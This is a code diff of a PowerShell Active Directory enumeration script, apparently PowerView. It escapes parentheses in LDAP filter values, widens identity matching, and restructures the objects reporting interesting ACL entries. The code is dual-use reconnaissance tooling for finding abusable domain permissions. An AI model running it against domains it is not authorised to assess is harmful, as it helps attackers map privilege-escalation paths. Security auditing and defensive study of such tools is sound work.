$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" if ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
}
} }
} }
} }
@ -6752,11 +6776,11 @@ Custom PSObject with ACL entries.
$IdentityFilter = '' $IdentityFilter = ''
$Filter = '' $Filter = ''
$Identity | Where-Object {$_} | ForEach-Object { $Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-.*') { if ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectsid=$IdentityInstance)" $IdentityFilter += "(objectsid=$IdentityInstance)"
} }
elseif ($IdentityInstance -match '^(CN|OU)=.*') { elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)" $IdentityFilter += "(distinguishedname=$IdentityInstance)"
} }
else { else {
@ -6769,7 +6793,7 @@ Custom PSObject with ACL entries.
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
} }
else { else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
} }
} }
} }
@ -7380,11 +7404,26 @@ Custom PSObject with ACL entries.
if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') { if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') {
if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) { if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) {
$IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value] $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value]
$_ | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
$_ | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain $InterestingACL = New-Object PSObject
$_ | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
$_ | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
$_ $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
if ($_.ObjectAceType) {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
}
else {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
}
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
$InterestingACL
} }
else { else {
$IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments
@ -7397,7 +7436,7 @@ Custom PSObject with ACL entries.
$ObjectSearcherArguments['Identity'] = $IdentityReferenceDN $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN
# "IdentityReferenceDN: $IdentityReferenceDN" # "IdentityReferenceDN: $IdentityReferenceDN"
$Object = Get-DomainObject @ObjectSearcherArguments $Object = Get-DomainObject @ObjectSearcherArguments
$ObjectSearcherArguments
if ($Object) { if ($Object) {
$IdentityReferenceName = $Object.Properties.samaccountname[0] $IdentityReferenceName = $Object.Properties.samaccountname[0]
if ($Object.Properties.objectclass -match 'computer') { if ($Object.Properties.objectclass -match 'computer') {
@ -7416,11 +7455,25 @@ Custom PSObject with ACL entries.
# save so we don't look up more than once # save so we don't look up more than once
$ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass
$_ | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName $InterestingACL = New-Object PSObject
$_ | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
$_ | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
$_ | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
$_ if ($_.ObjectAceType) {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
}
else {
$InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
}
$InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
$InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
$InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
$InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
$InterestingACL
} }
} }
else { else {
@ -7641,7 +7694,7 @@ Custom PSObject with translated OU property fields.
$IdentityFilter = '' $IdentityFilter = ''
$Filter = '' $Filter = ''
$Identity | Where-Object {$_} | ForEach-Object { $Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^OU=.*') { if ($IdentityInstance -match '^OU=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)" $IdentityFilter += "(distinguishedname=$IdentityInstance)"
} }
@ -7900,7 +7953,7 @@ Custom PSObject with translated site property fields.
$IdentityFilter = '' $IdentityFilter = ''
$Filter = '' $Filter = ''
$Identity | Where-Object {$_} | ForEach-Object { $Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^CN=.*') { if ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)" $IdentityFilter += "(distinguishedname=$IdentityInstance)"
} }
@ -8158,7 +8211,7 @@ Custom PSObject with translated subnet property fields.
$IdentityFilter = '' $IdentityFilter = ''
$Filter = '' $Filter = ''
$Identity | Where-Object {$_} | ForEach-Object { $Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^CN=.*') { if ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)" $IdentityFilter += "(distinguishedname=$IdentityInstance)"
} }
@ -8629,19 +8682,22 @@ Custom PSObject with translated group property fields.
$GroupSearcher = Get-DomainSearcher @SearcherArguments $GroupSearcher = Get-DomainSearcher @SearcherArguments
} }
} }
elseif ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
}
else { else {
try { $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29')
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' if ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectguid=$GuidByteString)" $IdentityFilter += "(objectsid=$IdentityInstance)"
} }
catch { elseif ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" $IdentityFilter += "(distinguishedname=$IdentityInstance)"
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))"
}
} }
} }
} }
@ -9350,19 +9406,22 @@ http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-
$GroupSearcher = Get-DomainSearcher @SearcherArguments $GroupSearcher = Get-DomainSearcher @SearcherArguments
} }
} }
elseif ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
}
else { else {
try { $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29')
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' if ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectguid=$GuidByteString)" $IdentityFilter += "(objectsid=$IdentityInstance)"
} }
catch { elseif ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(samAccountName=$IdentityInstance)" $IdentityFilter += "(distinguishedname=$IdentityInstance)"
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
} }
} }
} }
@ -10907,11 +10966,8 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
$IdentityFilter = '' $IdentityFilter = ''
$Filter = '' $Filter = ''
$Identity | Where-Object {$_} | ForEach-Object { $Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match 'LDAP://') { if ($IdentityInstance -match 'LDAP://|^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)" $IdentityFilter += "(distinguishedname=$IdentityInstance)"
} }
elseif ($IdentityInstance -match '{.*}') { elseif ($IdentityInstance -match '{.*}') {